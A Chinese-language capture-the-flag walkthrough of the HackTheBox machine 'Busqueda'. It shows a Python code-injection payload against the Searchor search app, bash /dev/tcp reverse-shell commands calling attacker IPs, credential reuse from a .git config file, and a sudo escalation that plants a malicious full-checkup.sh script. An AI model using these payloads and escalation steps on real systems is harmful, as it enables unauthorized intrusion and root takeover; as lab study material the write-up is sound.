Busqueda

来源:HackTheBox

难度:Eazy

nmap -O -A -Pn -sV -sS -p- 10.10.11.208

# 在vps上对10.10.11.208进行扫描

发现目标开启了80,22端口,对应web,ssh服务
访问80端口,发现有网页,抓包发现github项目地址:

https://github.com/ArjunSharda/Searchor


该搜索也是直接将我们输入的字符串直接进行了拼接,例如:Engine.Google.search(“Hello, World!”)。整理下思路并在python中进行测试,发现当传递的参数为:1’+print(‘1’)+’时会将print中的字符串进行输出,说明进行了命令执行。
然后在抓取的数据包中进行测试,将输入的数据修改为:1’+print(‘234’)+’,但是并未执行print语句。后面对+进行了编码后:1’%2bprint(‘234’)%2b’,print命令可以正常执行。
我们就进行shell反弹,语句:1’%2b__import__(“os”).system(“bash -i >&/dev/tcp/10.10.14.50/6688 0>&1”)%2b’,但是并未成功反弹shell。使用base64加密同样不行。编码也试了不行。不过确实是可以进行命令执行的,例如获取id:1’%2bprint(import(‘os’).system(“id”))%2b’,不过这里发现了用户名:svc。

摘自:https://www.cnblogs.com/upfine/p/17408873.html


使用命令尝试直接读取/home/svc/user.txt /home/svc/password.txt /home/svc/proof.txt (flag多在这些文件里)在user.txt中成功读取flag
使用命令查看当前目录,发现.git目录,遂尝试读取里面的config文件,发现cody用户的密码:

尝试使用这个密码和svc账户登录ssh成功,登陆后使用sudo -l查看可用sudo执行的命令:

运行,发现可以填参数,在跑full-checkup参数的时候出错:

进入到脚本目录,发现目录中还有一个full-checkup.sh,在该目录下运行程序正常,猜测脚本文件调用了当前目录下的full-checkup.sh,而因为我们第一次运行的目录中没有full-checkup.sh所以程序错误
此时我们可以设想,如果我们自己写一个full-checkup.sh给脚本调用,或许可以以sudo权限进行恶意操作,cd到/tmp目录,开始编写payload:

#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.16.2/8888 0>&1

使用命令rlwrap nc -lvnp 8888监听,在tmp目录运行脚本,发现反弹了一个rootshell,在/root目录下发现一个root.txt文件,cat得到第二个flag

⬆︎TOP